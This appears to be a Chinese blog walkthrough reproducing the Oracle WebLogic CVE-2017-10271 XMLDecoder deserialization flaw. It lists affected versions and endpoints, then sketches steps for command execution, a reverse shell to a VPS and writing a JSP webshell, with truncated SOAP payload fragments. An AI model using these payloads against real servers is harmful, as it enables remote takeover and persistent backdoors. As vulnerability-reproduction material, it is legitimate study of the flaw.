Weblogic漏洞分析
CVE-2017-10271
XMLDecoder反序列化
影响版本
- OracleWebLogic Server10.3.6.0.0
- OracleWebLogic Server12.1.3.0.0
- OracleWebLogic Server12.2.1.1.0
- OracleWebLogic Server12.2.1.2.0
涉及到的路径
- /wls-wsat/CoordinatorPortType
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/ParticipantPortType
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationRequesterPortType11
原理
产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户POST传入的XML数据,通过构造恶意数据进行利用。
漏洞复现
访问7001端口,如下图说明搭建完成
访问路径/wls-wsat/CoordinatorPortType,如果出现下方页面说明存在漏洞
抓包,类型转为POST,再把其中的中的Content-Type改为text/xml以便于解析xml,并传入XML的payload,用dnslog测试是否能利用
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
看到whoami的回显为root,说明可以利用
反弹shell
更改payload为反弹shell命令,同时在vps上监听6666端口
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> |
发送数据包后得到shell
写入webshell
除了反弹shell,还可以写入webshell
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><






























